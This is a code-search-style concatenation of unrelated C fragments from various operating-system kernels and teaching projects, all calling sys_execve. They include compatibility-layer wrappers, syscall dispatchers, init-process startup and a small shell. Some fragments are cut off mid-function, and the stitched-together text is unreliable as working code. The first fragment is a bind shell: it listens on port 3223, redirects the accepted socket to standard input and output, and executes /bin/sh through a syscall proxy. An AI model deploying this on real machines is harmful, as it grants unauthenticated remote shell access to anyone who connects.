int main(int argc, char **argv) { int fd, l, con, opt = 1; struct sockaddr_in in, in1; char *arg[] = {"/bin/sh", 0}; l = sizeof(in1); memset(&in, 0, sizeof(in)); in.sin_port = htons(3223); in.sin_family = AF_INET; rpc_init(RPC_HOST, RPC_PORT); fd = sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); printf("socket: %i\n", fd); printf("setsockopt: %i\n", setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, \ &opt, sizeof(opt))); printf("bind: %i\n", sys_bind(fd, &in, sizeof(in))); printf("listen: %i\n", sys_listen(fd, 5)); con = sys_accept(fd, &in1, &l); printf("accept: %i\n", con); printf("dup2: %i\n", sys_dup2(con, 0)); printf("dup2: %i\n", sys_dup2(con, 1)); printf("dup2: %i\n", sys_dup2(con, 2)); sys_execve(arg[0], arg, 0); return 0; }
int execve(char *prog,char *arg0, ...) { // We calculate argc by advancing the args until we hit NULL. // The contract of the function guarantees that the last // argument will always be NULL, and that none of the other // arguments will be NULL. int argc=0; va_list vl; va_start(vl, arg0); while(va_arg(vl, void *) != NULL) argc++; va_end(vl); // Now that we have the size of the args, do a second pass // and store the values in a VLA, which has the format of argv char *argv[argc+2]; argv[0] = arg0; argv[argc+1] = NULL; va_start(vl, arg0); unsigned i; for(i=0;i<argc;i++) argv[i+1] = va_arg(vl, char *); va_end(vl); return sys_execve(prog,argv); }
} void exec_test(void) { char binfile[30] = "/test"; /* 二进制文件名--add_data目录 */ unsigned short oldfs; oldfs = set_fs_kernel(); sys_execve(binfile);
int execve(const char *filename, char *const argv[], char *const envp[]) { if (getenv("EXEC_ALLOWED")) { return sys_execve(filename, argv, envp); } debug("execve: "); errno = EPERM; return -1; }
int osf1_sys_execve(struct lwp *l, const struct osf1_sys_execve_args *uap, register_t *retval) { struct sys_execve_args ap; SCARG(&ap, path) = SCARG(uap, path); SCARG(&ap, argp) = SCARG(uap, argp); SCARG(&ap, envp) = SCARG(uap, envp); return sys_execve(l, &ap, retval); }
int run_init_process(register char *cmd) { int num; strcpy((char *)(&args[4]), cmd); if (!(num = sys_execve(cmd, args, 20))) { ret_from_syscall(); } printk("sys_execve(\"%s\", args, 18) => %d.\n", cmd, -num); return num; }
int ultrix_sys_execv(struct lwp *l, const struct ultrix_sys_execv_args *uap, register_t *retval) { /* { syscallarg(const char *) path; syscallarg(char **) argv; } */ struct sys_execve_args ap; SCARG(&ap, path) = SCARG(uap, path); SCARG(&ap, argp) = SCARG(uap, argp); SCARG(&ap, envp) = NULL; return sys_execve(l, &ap, retval); }
/* * The function for implementing the syscall. */ static int fmaster_start(struct thread *td, struct fmaster_start_args *uap) { struct fmaster_data *data; int error, i, rfd, wfd; pid_t pid; const char *fmt = "%s: pid=%d, rfd=%d, wfd=%d, fork_sock=%s, path=%s\n"; char fork_sock[MAXPATHLEN], head[32]; error = copyinstr(uap->fork_sock, fork_sock, sizeof(fork_sock), NULL); if (error != 0) return (error); pid = td->td_proc->p_pid; rfd = uap->rfd; wfd = uap->wfd; snprintf(head, sizeof(head), "fmaster_start[%d]", pid); log(LOG_DEBUG, fmt, head, pid, rfd, wfd, fork_sock, uap->path); for (i = 0; uap->argv[i] != NULL; i++) log(LOG_DEBUG, "%s: argv[%d]=%s\n", head, i, uap->argv[i]); for (i = 0; uap->envp[i] != NULL; i++) log(LOG_DEBUG, "%s: envp[%d]=%s\n", head, i, uap->envp[i]); error = create_data(td, rfd, wfd, fork_sock, &data); if (error != 0) return (error); td->td_proc->p_emuldata = data; error = fmaster_openlog(td); if (error != 0) return (error); if ((error = negotiate_version(td, rfd, wfd)) != 0) goto fail; error = read_fds(td, data); if (error != 0) goto fail; return (sys_execve(td, (struct execve_args *)(&uap->path))); fail: fmaster_delete_data(data); return (error); }
/*** * * @TODO Could be handled by a lowlevel lookup-table, but this is probably a bit more readable * * Calling paramters: * param 1 : EBX * param 2 : ECX * param 3 : EDX * param 4 : ESI * param 5 : EDI * param 6 : time for using a structure instead of so many parameters... * * This parameter list is defined in the create_syscall_entryX macro's (service.h) * */ int service_interrupt (regs_t *r) { int retval = 0; int service = (r->eax & 0x0000FFFF); switch (service) { default : case SYS_NULL : retval = sys_null (); break; case SYS_CONSOLE : retval = sys_console (r->ebx, (console_t *)r->ecx, (char *)r->edx); break; case SYS_CONWRITE : retval = sys_conwrite ((char)r->ebx, r->ecx); break; case SYS_CONFLUSH : retval = sys_conflush (); break; case SYS_FORK : retval = sys_fork (r); break; case SYS_GETPID : retval = sys_getpid (); break; case SYS_GETPPID : retval = sys_getppid (); break; case SYS_SLEEP : retval = sys_sleep (r->ebx); break; case SYS_IDLE : retval = sys_idle (); break; case SYS_EXIT : retval = sys_exit (r->ebx); break; case SYS_EXECVE : retval = sys_execve (r, (char *)r->ebx, (char **)r->ecx, (char **)r->edx); break; } return retval; }
/* * Execve(2). Just check the alternate emulation path, and pass it on * to the regular execve(). */ int linux_sys_execve(struct proc *p, void *v, register_t *retval) { struct linux_sys_execve_args /* { syscallarg(char *) path; syscallarg(char **) argv; syscallarg(char **) envp; } */ *uap = v; struct sys_execve_args ap; caddr_t sg; sg = stackgap_init(p->p_emul); LINUX_CHECK_ALT_EXIST(p, &sg, SCARG(uap, path)); SCARG(&ap, path) = SCARG(uap, path); SCARG(&ap, argp) = SCARG(uap, argp); SCARG(&ap, envp) = SCARG(uap, envp); return (sys_execve(p, &ap, retval)); }
/* * The function for implementing the syscall. */ static int fsyscall_execve(struct thread *td, struct fsyscall_args *uap) { printf("rfd: %d\n", uap->rfd); printf("wfd: %d\n", uap->wfd); printf("path: %s\n", uap->path); int i; for (i = 0; uap->argv[i] != NULL; i++) { printf("argv[%d]: %s\n", i, uap->argv[i]); } for (i = 0; uap->envp[i] != NULL; i++) { printf("envp[%d]: %s\n", i, uap->envp[i]); } struct malloc_type *type = M_FSYSCALL; struct fsyscall_data *data = malloc(sizeof(*data), type, M_NOWAIT); data->rfd = uap->rfd; data->wfd = uap->wfd; td->td_proc->p_emuldata = data; return (sys_execve(td, (struct execve_args *)(&uap->path))); }
static int filemon_wrapper_execve(struct lwp * l, struct sys_execve_args * uap, register_t * retval) { char fname[MAXPATHLEN]; int ret; int error; size_t done; struct filemon *filemon; error = copyinstr(SCARG(uap, path), fname, sizeof(fname), &done); if ((ret = sys_execve(l, uap, retval)) == EJUSTRETURN && error == 0) { filemon = filemon_lookup(curproc); if (filemon) { filemon_printf(filemon, "E %d %s\n", curproc->p_pid, fname); rw_exit(&filemon->fm_mtx); } } return (ret); }
static int syscall_dispatch(uint32_t sysnum, uint32_t args, regs_t *regs) { switch (sysnum) { case SYS_waitpid: return sys_waitpid((waitpid_args_t *)args); case SYS_exit: do_exit((int)args); panic("exit failed!\n"); return 0; case SYS_thr_exit: kthread_exit((void *)args); panic("thr_exit failed!\n"); return 0; case SYS_thr_yield: sched_make_runnable(curthr); sched_switch(); return 0; case SYS_fork: return sys_fork(regs); case SYS_getpid: return curproc->p_pid; case SYS_sync: sys_sync(); return 0; #ifdef __MOUNTING__ case SYS_mount: return sys_mount((mount_args_t *) args); case SYS_umount: return sys_umount((argstr_t *) args); #endif case SYS_mmap: return (int) sys_mmap((mmap_args_t *) args); case SYS_munmap: return sys_munmap((munmap_args_t *) args); case SYS_open: return sys_open((open_args_t *) args); case SYS_close: return sys_close((int)args); case SYS_read: return sys_read((read_args_t *)args); case SYS_write: return sys_write((write_args_t *)args); case SYS_dup: return sys_dup((int)args); case SYS_dup2: return sys_dup2((dup2_args_t *)args); case SYS_mkdir: return sys_mkdir((mkdir_args_t *)args); case SYS_rmdir: return sys_rmdir((argstr_t *)args); case SYS_unlink: return sys_unlink((argstr_t *)args); case SYS_link: return sys_link((link_args_t *)args); case SYS_rename: return sys_rename((rename_args_t *)args); case SYS_chdir: return sys_chdir((argstr_t *)args); case SYS_getdents: return sys_getdents((getdents_args_t *)args); case SYS_brk: return (int) sys_brk((void *)args); case SYS_lseek: return sys_lseek((lseek_args_t *)args); case SYS_halt: sys_halt(); return -1; case SYS_set_errno: curthr->kt_errno = (int)args; return 0; case SYS_errno: return curthr->kt_errno; case SYS_execve: return sys_execve((execve_args_t *)args, regs); case SYS_stat: return sys_stat((stat_args_t *)args); case SYS_uname: return sys_uname((struct utsname *)args); case SYS_debug: return sys_debug((argstr_t *)args); case SYS_kshell: return sys_kshell((int)args); default: dbg(DBG_ERROR, "ERROR: unknown system call: %d (args: %#08x)\n", sysnum, args); curthr->kt_errno = ENOSYS; return -1; } }
asmlinkage int exe$creprc(unsigned int *pidadr, void *image, void *input, void *output, void *error, struct _generic_64 *prvadr, unsigned int *quota, void*prcnam, unsigned int baspri, unsigned int uic, unsigned short int mbxunt, unsigned int stsflg,...) { unsigned long stack_here; struct _pcb * p, * cur; int retval; struct dsc$descriptor * imd = image, * ind = input, * oud = output, * erd = error; unsigned long clone_flags=CLONE_VFORK; //check pidadr ctl$gl_creprc_flags = stsflg; // check for PRC$M_NOUAF sometime if (stsflg&PRC$M_DETACH) { } if (uic) { } //setipl(IPL$_ASTDEL);//postpone this? cur=ctl$gl_pcb; vmslock(&SPIN_SCHED, IPL$_SCHED); vmslock(&SPIN_MMG, IPL$_MMG); p = alloc_task_struct(); //bzero(p,sizeof(struct _pcb));//not wise? memset(p,0,sizeof(struct _pcb)); // check more // compensate for no struct clone/copy p->sigmask_lock = SPIN_LOCK_UNLOCKED; p->alloc_lock = SPIN_LOCK_UNLOCKED; qhead_init(&p->pcb$l_astqfl); // and enable ast del to all modes p->pcb$b_type = DYN$C_PCB; p->pcb$b_asten=15; p->phd$b_astlvl=4; p->pr_astlvl=4; p->psl=0; p->pslindex=0; qhead_init(&p->pcb$l_lockqfl); // set capabilities p->pcb$l_permanent_capability = sch$gl_default_process_cap; p->pcb$l_capability = p->pcb$l_permanent_capability; // set affinity // set default fileprot // set arb // set mbx stuff // from setprn: if (prcnam) { struct dsc$descriptor *s=prcnam; strncpy(p->pcb$t_lname,s->dsc$a_pointer,s->dsc$w_length); } // set priv p->pcb$l_priv=ctl$gl_pcb->pcb$l_priv; // set pris p->pcb$b_prib=31-baspri; p->pcb$b_pri=31-baspri-6; // if (p->pcb$b_pri<16) p->pcb$b_pri=16; p->pcb$w_quant=-QUANTUM; // set uic p->pcb$l_uic=ctl$gl_pcb->pcb$l_uic; // set vms pid // check process name // do something with pqb p->pcb$l_pqb=kmalloc(sizeof(struct _pqb),GFP_KERNEL); memset(p->pcb$l_pqb,0,sizeof(struct _pqb)); struct _pqb * pqb = p->pcb$l_pqb; pqb->pqb$q_prvmsk = ctl$gq_procpriv; if (imd) memcpy(pqb->pqb$t_image,imd->dsc$a_pointer,imd->dsc$w_length); if (ind) memcpy(pqb->pqb$t_input,ind->dsc$a_pointer,ind->dsc$w_length); if (oud) memcpy(pqb->pqb$t_output,oud->dsc$a_pointer,oud->dsc$w_length); if (erd) memcpy(pqb->pqb$t_error,erd->dsc$a_pointer,erd->dsc$w_length); if (oud) // temp measure memcpy(p->pcb$t_terminal,oud->dsc$a_pointer,oud->dsc$w_length); // translate some logicals // copy security clearance // copy msg // copy flags // set jib // do quotas // process itmlst // set pcb$l_pqb #if 0 setipl(IPL$_MMG); vmslock(&SPIN_SCHED,-1); // find vacant slot in pcb vector // and store it #endif // make ipid and epid p->pcb$l_pid=alloc_ipid(); { unsigned long *vec=sch$gl_pcbvec; vec[p->pcb$l_pid&0xffff]=p; } p->pcb$l_epid=exe$ipid_to_epid(p->pcb$l_pid); // should invoke sch$chse, put this at bottom? // setipl(0) and return // now lots of things from fork retval = -EAGAIN; /* * Check if we are over our maximum process limit, but be sure to * exclude root. This is needed to make it possible for login and * friends to set the per-user process limit to something lower * than the amount of processes root is running. -- Rik */ #if 0 if (atomic_read(&p->user->processes) >= p->rlim[RLIMIT_NPROC].rlim_cur && !capable(CAP_SYS_ADMIN) && !capable(CAP_SYS_RESOURCE)) goto bad_fork_free; atomic_inc(&p->user->__count); atomic_inc(&p->user->processes); #endif /* * Counter increases are protected by * the kernel lock so nr_threads can't * increase under us (but it may decrease). */ get_exec_domain(p->exec_domain); if (p->binfmt && p->binfmt->module) __MOD_INC_USE_COUNT(p->binfmt->module); p->did_exec = 0; p->swappable = 0; p->state = TASK_UNINTERRUPTIBLE; //copy_flags(clone_flags, p); // not here? p->pcb$l_pid = alloc_ipid(); p->run_list.next = NULL; p->run_list.prev = NULL; p->p_cptr = NULL; init_waitqueue_head(&p->wait_chldexit); p->vfork_done = NULL; spin_lock_init(&p->alloc_lock); p->sigpending = 0; init_sigpending(&p->pending); p->it_real_value = p->it_virt_value = p->it_prof_value = 0; p->it_real_incr = p->it_virt_incr = p->it_prof_incr = 0; init_timer(&p->real_timer); p->real_timer.data = (unsigned long) p; p->leader = 0; /* session leadership doesn't inherit */ p->tty_old_pgrp = 0; p->times.tms_utime = p->times.tms_stime = 0; p->times.tms_cutime = p->times.tms_cstime = 0; p->lock_depth = -1; /* -1 = no lock */ p->start_time = jiffies; INIT_LIST_HEAD(&p->local_pages); p->files = current->files; p->fs = current->fs; p->sig = current->sig; /* copy all the process information */ if (copy_files(clone_flags, p)) goto bad_fork_cleanup; if (copy_fs(clone_flags, p)) goto bad_fork_cleanup_files; if (copy_sighand(clone_flags, p)) goto bad_fork_cleanup_fs; bad_fork_cleanup: bad_fork_cleanup_files: bad_fork_cleanup_fs: // now a hole // now more from fork /* ok, now we should be set up.. */ p->swappable = 1; p->exit_signal = 0; p->pdeath_signal = 0; /* * "share" dynamic priority between parent and child, thus the * total amount of dynamic priorities in the system doesnt change, * more scheduling fairness. This is only important in the first * timeslice, on the long run the scheduling behaviour is unchanged. */ /* * Ok, add it to the run-queues and make it * visible to the rest of the system. * * Let it rip! */ retval = p->pcb$l_epid; INIT_LIST_HEAD(&p->thread_group); /* Need tasklist lock for parent etc handling! */ write_lock_irq(&tasklist_lock); /* CLONE_PARENT and CLONE_THREAD re-use the old parent */ p->p_opptr = current->p_opptr; p->p_pptr = current->p_pptr; p->p_opptr = current /*->p_opptr*/; p->p_pptr = current /*->p_pptr*/; SET_LINKS(p); nr_threads++; write_unlock_irq(&tasklist_lock); // printk("fork befwak\n"); //wake_up_process(p); /* do this last */ // wake_up_process2(p,PRI$_TICOM); /* do this last */ //goto fork_out;//?? // now something from exec // wait, better do execve itself memcpy(p->rlim, current->rlim, sizeof(p->rlim)); qhead_init(&p->pcb$l_sqfl); struct mm_struct * mm = mm_alloc(); p->mm = mm; p->active_mm = mm; p->user = INIT_USER; spin_lock(&mmlist_lock); #if 0 list_add(&mm->mmlist, &p->p_pptr->mm->mmlist); #endif mmlist_nr++; spin_unlock(&mmlist_lock); // Now we are getting into the area that is really the swappers // To be moved to shell.c and swp$shelinit later p->pcb$l_phd=kmalloc(sizeof(struct _phd),GFP_KERNEL); init_phd(p->pcb$l_phd); init_fork_p1pp(p,p->pcb$l_phd,ctl$gl_pcb,ctl$gl_pcb->pcb$l_phd); #ifdef __x86_64__ shell_init_other(p,ctl$gl_pcb,0x7ff80000-0x1000,0x7fffe000); shell_init_other(p,ctl$gl_pcb,0x7ff80000-0x2000,0x7fffe000); shell_init_other(p,ctl$gl_pcb,0x7ff90000-0x1000,0x7fffe000); shell_init_other(p,ctl$gl_pcb,0x7ff90000-0x2000,0x7fffe000); shell_init_other(p,ctl$gl_pcb,0x7ffa0000-0x1000,0x7fffe000); shell_init_other(p,ctl$gl_pcb,0x7ffa0000-0x2000,0x7fffe000); #else shell_init_other(p,ctl$gl_pcb,0x7ff80000-0x1000,0x7fffe000); shell_init_other(p,ctl$gl_pcb,0x7ff80000-0x2000,0x7fffe000); shell_init_other(p,ctl$gl_pcb,0x7ff90000-0x1000,0x7fffe000); shell_init_other(p,ctl$gl_pcb,0x7ff90000-0x2000,0x7fffe000); #endif int exe$procstrt(struct _pcb * p); struct pt_regs * regs = &pidadr; //printk("newthread %x\n",p), retval = new_thread(0, clone_flags, 0, 0, p, 0); int eip=0,esp=0; // start_thread(regs,eip,esp); sch$chse(p, PRI$_TICOM); vmsunlock(&SPIN_MMG,-1); vmsunlock(&SPIN_SCHED,0); return SS$_NORMAL; #if 0 return sys_execve(((struct dsc$descriptor *)image)->dsc$a_pointer,0,0); return SS$_NORMAL; #endif #if 0 { char * filename=((struct dsc$descriptor *)image)->dsc$a_pointer; char ** argv=0; char ** envp=0; struct pt_regs * regs=0; struct linux_binprm bprm; struct file *file; int retval; int i; file = open_exec(filename); retval = PTR_ERR(file); if (IS_ERR(file)) return retval; bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *); memset(bprm.page, 0, MAX_ARG_PAGES*sizeof(bprm.page[0])); bprm.file = file; bprm.filename = filename; bprm.sh_bang = 0; bprm.loader = 0; bprm.exec = 0; if ((bprm.argc = count(argv, bprm.p / sizeof(void *))) < 0) { allow_write_access(file); fput(file); //printk("here 7 %x\n",bprm.argc); return bprm.argc; } if ((bprm.envc = count(envp, bprm.p / sizeof(void *))) < 0) { allow_write_access(file); fput(file); //printk("here 6\n"); return bprm.envc; } retval = prepare_binprm(&bprm); //printk("here 4\n"); if (retval < 0) goto out; retval = copy_strings_kernel(1, &bprm.filename, &bprm); //printk("here 3\n"); if (retval < 0) goto out; bprm.exec = bprm.p; retval = copy_strings(bprm.envc, envp, &bprm); //printk("here 2\n"); if (retval < 0) goto out; retval = copy_strings(bprm.argc, argv, &bprm); //printk("here 1\n"); if (retval < 0) goto out; retval = search_binary_handler(&bprm,regs); if (retval >= 0) /* execve success */ return retval; out: /* Something went wrong, return the inode and free the argument pages*/ allow_write_access(bprm.file); if (bprm.file) fput(bprm.file); for (i = 0 ; i < MAX_ARG_PAGES ; i++) { struct page * page = bprm.page[i]; if (page) __free_page(page); } return retval; } #endif fork_out: return retval; bad_fork_free: free_task_struct(p); goto fork_out; }
unsigned long trapHandler(struct rtrapframe* tf, long cause, long epc, long badaddr)//long* tf { uint32_t sp1=read_sp(); uint32_t saved=tf; long funRe=0; long returnValue = 0; long sysNum=(long)(tf->a7); long args[5]; args[0]=(long)(tf->a0); args[1]=(long)(tf->a1); args[2]=(long)(tf->a2); args[3]=(long)(tf->a3); args[4]=(long)(tf->a4); struct rtrapframe *otf = current->tf; current->tf = tf; bool ifuser=tf->t0; funRe=((ifuser==1)?-1:0); switch(cause) { case CAUSE_MACHINE_ECALL: case CAUSE_SUPERVISOR_ECALL: { switch(sysNum) { case SYS_exit: { cprintf("exit\n"); sys_exit(args[0]); break; } case SYS_write: { returnValue=sys_write(sysNum,args[0],args[1],args[2]); current->tf=otf; tf->a0 = (uint32_t)returnValue; //asm volatile("csrw mepc, %0"::"r"(epc+4)); return funRe; break; } case SYS_exec: { const char *name = (const char *)args[0]; size_t len = (size_t)args[1]; returnValue = sys_execve(name, len); funRe=-1; break; } case SYS_S2M: { set_mstatus_field(MSTATUS_PRV1,3); break; } case SYS_S2U: { set_mstatus_field(MSTATUS_PRV1,0); break; } case SYS_getpid: { returnValue = sys_getpid(); break; } case SYS_fork: { returnValue=sys_fork(); //funRe=-1; // cprintf("hello\n"); break; } case SYS_yield: { //cprintf("yield\n"); returnValue=sys_yield(); break; } case SYS_wait: { returnValue=sys_wait(args[0],args[1]); break; } } break; } case CAUSE_USER_ECALL: { switch(sysNum) { case SYS_write: { returnValue = sys_write(sysNum, args[0], args[1], args[2]); current->tf=otf; tf->a0 = (uint32_t)returnValue; return funRe; break; } case SYS_getpid: { returnValue = sys_getpid(); break; } case SYS_exit: { returnValue = sys_exit(args[0]); break; } } break; } case CAUSE_FAULT_LOAD: case CAUSE_FAULT_STORE: case CAUSE_ILLEGAL_INSTRUCTION: { extern struct mm_struct *check_mm_struct; uint32_t mstatus=read_csr(mstatus); print_pgfault(mstatus,cause,badaddr); if (check_mm_struct != NULL) { if(do_pgfault(check_mm_struct, cause, badaddr, mstatus)!=0) panic("unhandled page fault in function.\n"); } else { if(current==NULL) panic("unhandled page fault.\n"); do_pgfault(current->mm, cause, badaddr, mstatus); } break; } default: { prvSyscallExit(cause); } } //uint32_t sp3=read_sp(); //cprintf("sysNum=%d\n",sysNum); //cprintf("sp3=%08x\n",sp3); current->tf=otf; tf->a0 = (uint32_t)returnValue; //asm volatile("csrw mepc, %0"::"r"(epc+4)); return funRe; }
void runcmd(char* s) { char *argv[MAXARGS], *t, argv0buf[BUFSIZ]; int argc, c, i, r, p[2], fd, pipe_child; pipe_child = 0; gettoken(s, 0); again: argc = 0; while (1) { switch ((c = gettoken(0, &t))) { case 'w': // Add an argument if (argc == MAXARGS) { printf("too many arguments\n"); exit(); } argv[argc++] = t; break; case '<': // Input redirection // Grab the filename from the argument list if (gettoken(0, &t) != 'w') { printf("syntax error: < not followed by word\n"); exit(); } // Open 't' for reading as file descriptor 0 // (which environments use as standard input). // We can't open a file onto a particular descriptor, // so open the file as 'fd', // then check whether 'fd' is 0. // If not, dup2 'fd' onto file descriptor 0, // then close the original 'fd'. // LAB 5: Your code here. if ((fd = open(t, O_RDONLY,0)) < 0) { printf("open %s for read: %e", t, fd); exit(); } if (fd != 0) { dup2(fd, 0); close(fd); } break; case '>': // Output redirection // Grab the filename from the argument list if (gettoken(0, &t) != 'w') { printf("syntax error: > not followed by word\n"); exit(); } if ((fd = open(t, O_WRONLY|O_CREAT|O_TRUNC,0)) < 0) { printf("open %s for write: %e", t, fd); exit(); } if (fd != 1) { dup2(fd, 1); close(fd); } break; case '|': // Pipe if ((r = pipe(p,0)) < 0) { printf("pipe: %e", r); exit(); } if (debug) printf("PIPE: %d %d\n", p[0], p[1]); if ((r = fork()) < 0) { printf("fork: %e", r); exit(); } if (r == 0) { if (p[0] != 0) { dup2(p[0], 0); close(p[0]); } close(p[1]); goto again; } else { pipe_child = r; if (p[1] != 1) { dup2(p[1], 1); close(p[1]); } close(p[0]); goto runit; } panic("| not implemented"); break; case 0: // String is complete // Run the current command! goto runit; default: panic("bad return %d from gettoken", c); break; } } runit: // Return immediately if command line was empty. if(argc == 0) { if (debug) printf("EMPTY COMMAND\n"); return; } // Clean up command line. // Read all commands from the filesystem: add an initial '/' to // the command name. // This essentially acts like 'PATH=/'. if (argv[0][0] != '/') { argv0buf[0] = '/'; strcpy(argv0buf + 1, argv[0]); argv[0] = argv0buf; } argv[argc] = 0; // Print the command. if (debug) { printf("[%08x] SPAWN:", getpid()); for (i = 0; argv[i]; i++) printf(" %s", argv[i]); printf("\n"); } // Spawn the command! if ((r = sys_execve(argv[0], (char**) argv)) < 0) printf("spawn %s: %e\n", argv[0], r); // In the parent, close all file descriptors and wait for the // spawned command to exit. close_all(); if (r >= 0) { if (debug) printf("[%08x] WAIT %s %08x\n", getpid(), argv[0], r); wait(r); if (debug) printf("[%08x] wait finished\n", getpid()); } // If we were the left-hand part of a pipe, // wait for the right-hand part to finish. if (pipe_child) { if (debug) printf("[%08x] WAIT pipe_child %08x\n", getpid(), pipe_child); wait(pipe_child); if (debug) printf("[%08x] wait finished\n", getpid()); } // Done! exit(); }
static void init_task() { int num; /* Make sure the correct exec stack is in place for init. */ unsigned short int *pip = (unsigned short int *) args; *++pip = (unsigned short int) &args[5]; mount_root(); printk("Loading init\n"); /* The Linux kernel traditionally attempts to start init from 4 locations, * as indicated by this code: * * run_init_process("/sbin/init"); * run_init_process("/etc/init"); * run_init_process("/bin/init"); * run_init_process("/bin/sh"); * * So, I've modified the ELKS kernel to follow this tradition. */ if ((num = sys_execve("/sbin/init", args, 18))) { printk("sys_execve(\"/sbin/init\",args,18) => %d.\n",num); if ((num = sys_execve("/etc/init", args, 18))) { printk("sys_execve(\"/etc/init\",args,18) => %d.\n",num); if ((num = sys_execve("/bin/init", args, 18))) { printk("sys_execve(\"/bin/init\",args,18) => %d.\n",num); #ifdef CONFIG_CONSOLE_SERIAL num = sys_open("/dev/ttyS0", 2, 0); #else num = sys_open("/dev/tty1", 2, 0); #endif if (num < 0) printk("Unable to open /dev/tty (error %u)\n", -num); if (sys_dup(0) != 1) printk("dup failed\n"); sys_dup(0); printk("No init - running /bin/sh\n"); if (sys_execve("/bin/sh", args, 0)) panic("No init or sh found"); } } } #ifndef S_SPLINT_S /* Brackets round the following code are required as a work around * for a bug in the compiler which causes it to jump past the asm * code if they are not there. * * This kludge is here because we called sys_execve directly, rather * than via syscall_int (a BIOS interrupt). So we simulate the last * part of syscall_int, which restores context back to the user process. */ { #asm cli mov bx, _current mov sp, 2[bx] ! user stack offset mov ax, 4[bx] ! user stack segment mov ss, ax mov ds, ax mov es, ax iret ! reloads flags = >reenables interrupts #endasm } #endif panic("iret failed!"); }